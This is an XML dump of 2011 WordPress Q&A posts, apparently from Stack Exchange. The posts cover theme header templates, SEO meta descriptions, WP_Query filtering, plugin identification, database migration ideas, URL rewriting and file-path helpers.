  <row Id="24974" PostTypeId="1" CreationDate="2011-08-04T17:19:47.980" Score="0" ViewCount="55" Body="&lt;p&gt;For some reason All in One Seo is not putting the text that I put in the Home Description field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you google, dvdripfreemoviedownloads.com, the first result, which is my homepage should have something else under the Home Description? Anyone know how I can fix this will All in One SEO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anything I'd like to imput the Home Description manually. I heard that it can be done by inputting that in the header.php, How do I do it manually? below is my header.php &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;// Press75.com&#xA;?&amp;gt;&#xA;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; dir=&quot;ltr&quot; lang=&quot;en-US&quot;&amp;gt;&#xA;&#xA;&amp;lt;!--&#xA;**********************************************************************************************&#xA;&#xA;Designed and Built by Jason Schuller - theSevenFive.com, Press75.com&#xA;&#xA;CSS, XHTML and Design Files are all Copyright 2007-2010 Circa75 Media, LLC&#xA;&#xA;Be inspired, but please don't steal...&#xA;&#xA;**********************************************************************************************&#xA;--&amp;gt;&#xA;&#xA;&amp;lt;head profile=&quot;http://gmpg.org/xfn/11&quot;&amp;gt;&#xA;    &amp;lt;!-- page titles --&amp;gt;&#xA;    &amp;lt;title&amp;gt;&#xA;    &amp;lt;?php if ( is_home() ) { ?&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;amp;nbsp;|&amp;amp;nbsp;&amp;lt;?php bloginfo('description'); ?&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php if ( is_search() ) { ?&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;amp;nbsp;|&amp;amp;nbsp;Search Results&amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php if ( is_author() ) { ?&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;amp;nbsp;|&amp;amp;nbsp;Author Archives&amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php if ( is_single() ) { ?&amp;gt;&amp;lt;?php wp_title(''); ?&amp;gt;&amp;amp;nbsp;|&amp;amp;nbsp;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php if ( is_page() ) { ?&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;amp;nbsp;|&amp;amp;nbsp;&amp;lt;?php wp_title(''); ?&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php if ( is_category() ) { ?&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;amp;nbsp;|&amp;amp;nbsp;Archive&amp;amp;nbsp;|&amp;amp;nbsp;&amp;lt;?php single_cat_title(); ?&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php if ( is_month() ) { ?&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;amp;nbsp;|&amp;amp;nbsp;Archive&amp;amp;nbsp;|&amp;amp;nbsp;&amp;lt;?php the_time('F'); ?&amp;gt;&amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;?php if (function_exists('is_tag')) { if ( is_tag() ) { ?&amp;gt;&amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;amp;nbsp;|&amp;amp;nbsp;Tag Archive&amp;amp;nbsp;|&amp;amp;nbsp;&amp;lt;?php  single_tag_title(&quot;&quot;, true); } } ?&amp;gt;&#xA;    &amp;lt;/title&amp;gt;&#xA;&#xA;    &amp;lt;!-- meta tags --&amp;gt;&#xA;    &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;&amp;lt;?php bloginfo('html_type'); ?&amp;gt;; charset=&amp;lt;?php bloginfo('charset'); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php if (is_single() || is_page() ) : if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;&amp;lt;?php the_excerpt_rss(); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php endwhile; endif; elseif(is_home()) : ?&amp;gt;&#xA;    &amp;lt;meta name=&quot;description&quot; content=&quot;&amp;lt;?php bloginfo('description'); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;!-- import required theme styles --&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_url'); ?&amp;gt;&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/style.css3.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;!--[if IE 7]&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/style-ie7.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;    &amp;lt;![endif]--&amp;gt;&#xA;&#xA;    &amp;lt;!--[if IE 8]&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/style-ie8.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;    &amp;lt;![endif]--&amp;gt;&#xA;&#xA;    &amp;lt;!-- custom theme styles if there are any --&amp;gt;&#xA;    &amp;lt;link rel='stylesheet' type='text/css' href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/?sf-custom-content=css&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;!-- pingback url and favicon link --&amp;gt;&#xA;    &amp;lt;link rel=&quot;pingback&quot; href=&quot;&amp;lt;?php bloginfo('pingback_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;shortcut icon&quot; href=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/images/favicon.ico&quot; type=&quot;image/x-icon&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;?php if (is_singular() &amp;amp;&amp;amp; get_option('thread_comments')) wp_enqueue_script('comment-reply'); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php wp_head(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php if (get_option(THEME_PREFIX . &quot;analytics_code&quot;)) { ?&amp;gt;&#xA;        &amp;lt;?php echo get_option(THEME_PREFIX . &quot;analytics_code&quot;); ?&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;    &amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;header-inside&quot;&amp;gt;&#xA;            &amp;lt;?php if (get_option(THEME_PREFIX . &quot;header_ad&quot;)) { ?&amp;gt;&#xA;            &amp;lt;div id=&quot;full-width-ad&quot;&amp;gt;&#xA;                &amp;lt;?php echo ($header_ad = get_option(THEME_PREFIX . 'header_ad')); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;header-left&quot;&amp;gt;&#xA;            &amp;lt;?php if (get_option(THEME_PREFIX . &quot;logo_txt&quot;)) : ?&amp;gt;&#xA;                &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;/&quot; title=&quot;Home&quot; &amp;gt;&amp;lt;?php echo get_option(THEME_PREFIX . &quot;logo_txt&quot;); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;?php else : ?&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;/&quot; title=&quot;Home&quot; &amp;gt;&amp;lt;img class=&quot;fade&quot; src=&quot;&amp;lt;?php echo ($logo = get_option(THEME_PREFIX . 'logo_img')) ? $logo : get_bloginfo(&quot;template_url&quot;) . &quot;/images/logo.png&quot;; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php bloginfo('name'); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- header-left --&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;header-right&quot;&amp;gt;&#xA;                &amp;lt;div id=&quot;site-search&quot;&amp;gt;&#xA;                    &amp;lt;?php include('searchform.php'); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- header-right --&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- header-inside --&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- header --&amp;gt;  &#xA;&#xA;    &amp;lt;div id=&quot;navigation&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;navigation-inside&amp;lt;?php if (is_home()){echo ' navigation-video';}?&amp;gt;&amp;lt;?php if (get_post_meta($post-&amp;gt;ID, &quot;_videoembed&quot;, true) || get_post_meta($post-&amp;gt;ID, &quot;_videoembed_manual&quot;, true)){echo ' navigation-video';}?&amp;gt;&amp;lt;?php if (is_category()){echo ' navigation-category';}?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;?php if (get_option(THEME_PREFIX . &quot;menu_management&quot;)) : ?&amp;gt;&#xA;            &amp;lt;?php wp_nav_menu(array('sort_column' =&amp;gt; 'menu_order', 'container_class' =&amp;gt; 'menu-header')); ?&amp;gt;&#xA;            &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;ul class=&quot;menu&quot;&amp;gt;&#xA;                &amp;lt;li &amp;lt;?php if (is_home()) { echo 'class=&quot;&quot;'; } ?&amp;gt;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;/&quot; title=&quot;Home&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;?php wp_list_categories('title_li='); ?&amp;gt;&#xA;&#xA;                &amp;lt;?php wp_list_pages('title_li='); ?&amp;gt;&#xA;&#xA;                &amp;lt;li class=&quot;subscribe&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('rss2_url'); ?&amp;gt;&quot; title=&quot;Subscribe via RSS&quot;&amp;gt;Subscribe&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;?php if (get_option(THEME_PREFIX . &quot;twitter_link&quot;)) { ?&amp;gt;&#xA;                &amp;lt;li class=&quot;twitter&quot;&amp;gt;&amp;lt;a href=&quot;http://twitter.com/&amp;lt;?php echo get_option(THEME_PREFIX . &quot;twitter_link&quot;); ?&amp;gt;&quot; title=&quot;Twitter.com&quot;&amp;gt;Twitter&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- navigation-inside --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;  &amp;lt;!-- navigation --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Yes I know where the Home Description goes in All in one seo. I've used it on my other sites but there's something up with this theme I think&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But can someone tell me how to input this manually in the header.php please?&lt;/p&gt;&#xA;" OwnerUserId="6133" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-05T08:05:07.550" LastActivityDate="2011-08-08T16:04:51.153" Title="How do I fill the Home Description?" Tags="&lt;plugins&gt;&lt;seo&gt;&lt;header&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="24975" PostTypeId="1" CreationDate="2011-08-04T17:39:20.793" Score="0" ViewCount="50" Body="&lt;p&gt;How can I exclude child posts using wp_query? Given the following architecture:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parent 1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;child 1&lt;/li&gt;&#xA;&lt;li&gt;child 2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;parent 2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;child 3&lt;/li&gt;&#xA;&lt;li&gt;child 4&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd like to only return parent 1 and parent 2, and exclude child 1, 2, 3 and 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched high and low for an answer to this question. Nothing surfaces.&lt;/p&gt;&#xA;" OwnerUserId="5525" LastActivityDate="2011-08-04T18:01:46.463" Title="Exclude Child Posts from WP_Query" Tags="&lt;wp-query&gt;&lt;children&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="24976" PostTypeId="1" CreationDate="2011-08-04T17:40:58.510" Score="-1" ViewCount="22" Body="&lt;p&gt;can somebody tell me which is this plugin used in comment rating ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://goo.gl/AWxl5&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/AWxl5&lt;/a&gt; see on comment &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="7644" LastActivityDate="2011-08-04T17:57:04.220" Title="which is this plugin ?" Tags="&lt;plugins&gt;&lt;rating&gt;&lt;comment&gt;" AnswerCount="3" />
  <row Id="24977" PostTypeId="2" ParentId="24976" CreationDate="2011-08-04T17:54:04.550" Score="1" ViewCount="" Body="&lt;p&gt;You might want to try: &lt;a href=&quot;http://wordpress.org/extend/plugins/comment-rating/&quot; rel=&quot;nofollow&quot;&gt;Comment Rating&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-08-04T17:54:04.550" />
  <row Id="24978" PostTypeId="2" ParentId="24976" CreationDate="2011-08-04T17:55:06.550" Score="1" ViewCount="" Body="&lt;p&gt;Looks like a modded version of &lt;a href=&quot;http://wordpress.org/extend/plugins/comment-rating/&quot; rel=&quot;nofollow&quot;&gt;Comment Rating&lt;/a&gt; plugin&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-04T17:55:06.550" />
  <row Id="24979" PostTypeId="2" ParentId="24976" CreationDate="2011-08-04T17:57:04.220" Score="2" ViewCount="" Body="&lt;p&gt;The plugin dir is &lt;code&gt;commentsvote&lt;/code&gt;, which matches &lt;a href=&quot;http://wordpress.org/extend/plugins/commentsvote/&quot; rel=&quot;nofollow&quot;&gt;this Comments Vote plugin&lt;/a&gt;, though I'm not sure it's the same.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-04T17:57:04.220" />
  <row Id="24980" PostTypeId="2" ParentId="24975" CreationDate="2011-08-04T18:01:46.463" Score="1" ViewCount="" Body="&lt;p&gt;use &lt;code&gt;'post_parent' =&amp;gt; 0&lt;/code&gt; in WP_Query to return only parent posts&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-04T18:01:46.463" CommentCount="1" />
  <row Id="24981" PostTypeId="2" ParentId="24959" CreationDate="2011-08-04T18:46:49.140" Score="3" ViewCount="" Body="&lt;p&gt;If you're in the Loop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo get_avatar( get_the_author_meta('ID') );&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-04T18:46:49.140" CommentCount="1" />
  <row Id="24982" PostTypeId="2" ParentId="24314" CreationDate="2011-08-04T19:00:19.173" Score="3" ViewCount="" Body="&lt;p&gt;The reality is that what we want is this: &lt;a href=&quot;http://www.liquibase.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.liquibase.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Liquibase is an open source (Apache 2.0 Licensed),&#xA;  database-independent library for tracking, managing and applying&#xA;  database changes. It is built on a simple premise: All database&#xA;  changes are stored in a human readable yet trackable form and checked&#xA;  into source control.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However our development process doesn't support it.  We typically don't modify the database through discrete scripts we write ourselves, we use plugins that we activate.  We don't write DML scripts to modify look-up data that we then check into source code control, we use a UI on the admin page and therefore have no source code for later use in replicating that change during migration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, we can emulate some of it -- using some of the tools listed on this page: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stackoverflow.com/q/225772/149060&quot;&gt;http://stackoverflow.com/q/225772/149060&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, liquidbase has a diff feature that also, optionally includes changes to data.  We could, potentially, output the schema and data diff to a script, excluding (as possible) certain tables likely to include test data ( i.e. post, etc. ) and then apply the script to the production database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MySQLDiff (discussed on the StackOverflow question) does schema diffs, and it's author recommends &lt;a href=&quot;http://rossbeyer.net/software/mysql_coldiff/&quot; rel=&quot;nofollow&quot;&gt;mysql_coldiff&lt;/a&gt; for table-wise data diffs - both are implemented in perl, if java tools (liquidbase) are too resource heavy for your servers -- although bring both databases local and running the tool on your PC solves that problem ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we really want to do it right, we should log any sql that relates to settings, options, or other configuration changes, and any schema changes -- and convert the logged code into a migration script to play against our production server.  Play the migration script against the server, copy the wordpress site files (excluding uploads, if applicable) and we're gold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it seems to me, that the best way out, is a developer's migration-builder-plugin that traps the sql we need, stores it and then generates a migration script from the logged code, rather than to build a way to merge databases between staging and production.  Seems a simpler problem to solve too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we look at the code of @bueltge 's instrumenting hook calls plugin for inspiration: &lt;a href=&quot;https://gist.github.com/1000143&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/1000143&lt;/a&gt; (thanks to Ron Rennick via G+ for pointing me in the  direction of SAVEQUERIES and the shutdown hook, that lead me to find it)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;-- alter it to get the SAVEQUERIES output instead &#xA;-- only run while in admin &#xA;-- filter out all selects &#xA;-- save results out to table in the shutdown hook &#xA;-- we could selectively toggle output trapping based on what we were doing at the moment.  &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Capture Name: Activate &amp;amp; Configure Plugin XYZ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Capture State Toggle - on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... install and configure plugin XYZ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Capture State Toggle - off&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Export Migration Script for: Activate &amp;amp; Configure Plugin XYZ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press Export Button -- to produce a popup text field with the filtered trapped SQL - ideally pre-formatted as a shell script with command-line call to mysql.  Copy &amp;amp; paste it out to your migration code folder and add to your source code repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Careful attention to toggling the capture on and off as you're working and you'll be able to generate the perfect migration script to take your production database to an equivalent configuration to your staging database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's better, you'll have a script (or series of same) that you can TEST.  Imaging having replicable, testable, migration scripts!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in love already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else?&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-04T20:58:43.707" LastActivityDate="2011-08-04T20:58:43.707" CommentCount="1" />
  <row Id="24983" PostTypeId="2" ParentId="24970" CreationDate="2011-08-04T19:02:17.347" Score="2" ViewCount="" Body="&lt;p&gt;How about:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thumb = get_post_meta( $post_id, 'thumb', true );&#xA;$url = get_post_meta( $post_id, 'website', true);&#xA;echo &quot;&amp;lt;a href='$url'&amp;gt;&amp;lt;img src='$thumb' /&amp;gt;&amp;lt;/a&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;get_post_meta()&lt;/code&gt; function is ideal when you know ahead-of-time the names of the fields you want to retrieve. Setting the third parameter to &lt;code&gt;true&lt;/code&gt; tells it that you want to return a single value, and not an array of values (it's possible to set multiple values using the same meta key, and get an array of values back).&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-08-04T19:02:17.347" CommentCount="1" />
  <row Id="24984" PostTypeId="2" ParentId="24962" CreationDate="2011-08-04T19:03:15.583" Score="1" ViewCount="" Body="&lt;p&gt;WP doesn't quite work that way. How WP does work is a long and involved discussion, but here's the short version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(BTW, AJAX is a whole other thing entirely. There's a whole system in WP just for doing AJAX requests easily, and most people are doing-it-wrong. If your question is AJAX specific, none of the below may apply.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing to understand is the rewrite system. WordPress uses a class called WP_Rewrite which essentially implements rewrite rules similar to how you'd do it in an .htaccess file. It uses regular expressions to convert &quot;pretty&quot; URLs into query variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;http://example.com/author/otto&quot; rel=&quot;nofollow&quot;&gt;http://example.com/author/otto&lt;/a&gt; would be converted into &lt;a href=&quot;http://example.com/index.php?author_name=otto&quot; rel=&quot;nofollow&quot;&gt;http://example.com/index.php?author_name=otto&lt;/a&gt; internally. Similarly, &lt;a href=&quot;http://example.com/2011/08/04&quot; rel=&quot;nofollow&quot;&gt;http://example.com/2011/08/04&lt;/a&gt; would be converted into &lt;a href=&quot;http://example.com/index.php?year=2011&amp;amp;monthnum=08&amp;amp;day=04&quot; rel=&quot;nofollow&quot;&gt;http://example.com/index.php?year=2011&amp;amp;monthnum=08&amp;amp;day=04&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a rather large set of these rules (50+) that are generated to handle these URL cases, and what these rules actually are depends heavily on your settings, what custom post types you're using, etc. Plus, themes and plugins and such can adjust them too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those query variables are standardized and named in the WP_Query system, which controls what is being queried for in the database. So that year/monthnum/day thing gets read and turned into $wp_query-&gt;year and $wp_query-&gt;monthnum and so on. This works based on a whitelist system, so the variables have to be defined beforehand by either the core code or plugins/themes adjusting them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, the main WP_Query gets initialized and populated by the WP_Rewrite system. When the query runs, it determines what it's pulling from the database based on what variables are set. It sets a bunch of flags, such as is_author and is_archive and is_home and is_single and similar, to denote various types of things. In broad terms, these are used to define the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this is done, the template loader is called to determine what part of the theme to display. Using these is_* rules and a series of template determination functions, one of the theme's template files is chosen and then called upon to display the page. The template is expected to implement something called &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;The Loop&lt;/a&gt;, which basically pulls the posts from the main $wp_query global and displays them properly, according to however it wants to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's not really a matter of files and functions, it's a matter of procedures based on variable inputs. All calls to WordPress basically take the same sequence of events:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The URL is parsed into query variables. &lt;/li&gt;&#xA;&lt;li&gt;The main Query is executed based on those variables. &lt;/li&gt;&#xA;&lt;li&gt;The template hierarchy determines what theme file to use. &lt;/li&gt;&#xA;&lt;li&gt;The theme file displays the page.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Generally, if you want to change things on existing pages, you either change the proper file in the theme (or make a new one based on the Theme Hierarchy), or you create a new &quot;type&quot; of thing (such as a Custom Post Type) which can automatically adjust both the query variables and rewrite rules appropriately, or if you're doing something totally custom then you do-it-yourself and modify the rewrite rules directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point being that in order to modify things in the easiest way, you have to really stop thinking about connecting URLs to functions, but instead start thinking about &quot;what type of things am I using, and what do I want them to actually do and how do I want them to live inside the system?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specific questions will get you more specific answers. :)&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-04T19:03:15.583" CommentCount="1" />
  <row Id="24985" PostTypeId="2" ParentId="24962" CreationDate="2011-08-04T19:18:02.153" Score="1" ViewCount="" Body="&lt;p&gt;The problem is that many people do ajax their own way rather than using WordPress provided ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's done the proper WordPress way, the js will call &lt;code&gt;/wp-admin/admin-ajax.php&lt;/code&gt; via an ajaxurl var and pass an &lt;code&gt;action&lt;/code&gt;, which will map to an &lt;code&gt;add_action('wp_ajax_{$action}', 'some_function');&lt;/code&gt; somewhere in the theme's functions.php or a plugin, which will call &lt;code&gt;some_function&lt;/code&gt; when the action matches.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-04T19:18:02.153" CommentCount="1" />
  <row Id="24986" PostTypeId="1" CreationDate="2011-08-04T19:18:53.203" Score="0" ViewCount="13" Body="&lt;p&gt;I'm looking for a way to import RSS items from an &lt;strong&gt;external blog&lt;/strong&gt; as posts &lt;em&gt;with a redirect&lt;/em&gt; on them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose is to have another blog's posts show up in my front page excerpts but actually deliver the user to the source blog upon clicking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a simple way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2011-08-04T20:03:00.950" Title="Import RSS as posts with redirect?" Tags="&lt;redirect&gt;&lt;rss&gt;&lt;excerpt&gt;" AnswerCount="1" />
  <row Id="24987" PostTypeId="1" AcceptedAnswerId="24992" CreationDate="2011-08-04T19:18:59.593" Score="1" ViewCount="23" Body="&lt;p&gt;Is there any equivalent to functions like &lt;code&gt;plugins_url()&lt;/code&gt; and &lt;code&gt;content_url()&lt;/code&gt; that give you either the relative paths or the file path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, instead of &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://localhost:8888/wordpress-3.2/wp-content&quot; rel=&quot;nofollow&quot;&gt;http://localhost:8888/wordpress-3.2/wp-content&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I want:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/Users/username/Sites/wordpress-3.2/wp-content&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I know that I can build this path using the &lt;code&gt;ABSPATH&lt;/code&gt; constant, but I'm specifically interested in learning if there are built in functions to handle this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, I'll probably just write a function to swap the url for the abspath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here's the simple function that I wrote to handle this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_file_path($url)&#xA;{&#xA;    return str_replace(site_url(), ABSPATH, $url);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems to do the trick, but I'd much rather use built in functions if available.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastEditorUserId="4850" LastEditorDisplayName="" LastEditDate="2011-08-04T19:26:27.217" LastActivityDate="2011-08-04T19:57:18.583" Title="Are there functions for file paths, instead of just urls" Tags="&lt;plugins-url&gt;" AnswerCount="2" />
